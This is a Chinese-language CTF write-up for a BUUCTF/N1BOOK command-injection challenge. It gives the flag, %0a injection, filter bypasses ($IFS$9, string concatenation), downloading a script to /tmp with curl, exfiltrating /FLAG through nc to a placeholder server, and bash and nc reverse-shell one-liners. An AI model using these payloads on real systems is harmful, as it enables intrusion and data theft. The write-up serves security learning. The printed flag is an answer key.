0%

BUUCTF 命令执行

0x00 背景

详细的写了N1BOOK中命令执行题目的题解,nc、curl、server基本用法

题目地址

0x01 flag

n1book{6fa82809179d7f19c67259aa285a7729}

0x02 思路

  1. 访问环境,测试命令127.0.0.1
  2. 接着测试127.0.0.1 && ls,这里浪费了一点时间,以为&&不能让ls命令执行,其实是因为浏览器将我们输入的&&转码了,导致我们的输入其实变成了127.0.0.1+%26%26+ls
    建议以后做注入题目时,直接用burpsuite,防止注入的数据被浏览器转码

  3. 这里还有一个问题,虽然ip ping成功,但后面的命令不一定执行了。接着用sleep 5进行延时注入,发现&&命令并不能让后面的sleep命令执行,接着测试%0a连接符,可以让后面的sleep命令执行
  4. 开始猜测flag的位置,flagflag.phpflag.txt等,没有找到明显的flag文件。由于没有命令执行的回显,如何找到flag文件并且将文件数据传出来是个问题,考虑{flag file} | nc {your_server_ip port}将数据传出来,但|:符号被判定为恶意字符。

如果没有服务器,可以用buuctf开小号,在basic/Linux labs上启动一个内网服务器
5. >没有被过滤,可以从服务器下载恶意脚本到本地并执行。这里使用curl {your_server_ip}/ctf.sh,然后准备给sh文件加执行权限,却无法添加,最后怀疑当前用户在当前目录没有保存文件的权限。


6. 于是将ctf.sh保存到tmp目录下。添加可执行权限。


7. 这里其实传了两次.sh文件,第一次的文件内容为ls | nc {your_server_ip port},得到当前目录下的文件列表,发现存在/FLAG文件,第二次的文件内容为cat /FLAG | nc {your_server_ip port},将/FLAG文件内容传出来。
8. 在服务器上监听本地端口nc -lvp 8888,这里我的是8888。然后执行ctf.sh,得到回传的数据。

0x03 总结

命令执行主要是通过特殊字符让本不该执行的命令执行。常用的特殊字符有

  • 转义符
    ^\&
  • 连接符
    &&||%0a%0d;$()
  • 注释符号
    #::

0x04 进一步的扩宽一下难度

  1. cmd可以会过滤空格,可以用其他字符绕过
  • %09、%0b、%0c、$IFS$9
  1. 黑名单绕过
  • 字符串拼接,a=c;b=at;c=he;d=llo;$a$b ${c}${d}为cat hello
  • 字符串截取,substr
  1. nc、curl命令的使用,>、|重定向符的使用
  2. 常用反弹shell
  • 攻击者服务器监听8888端口,nc -lvp 8888
  • 受害者1 bash -i >& /dev/tcp/{server_ip}/8888 0>&1
  • 受害者2 nc -e /bin/sh {server_ip} 8888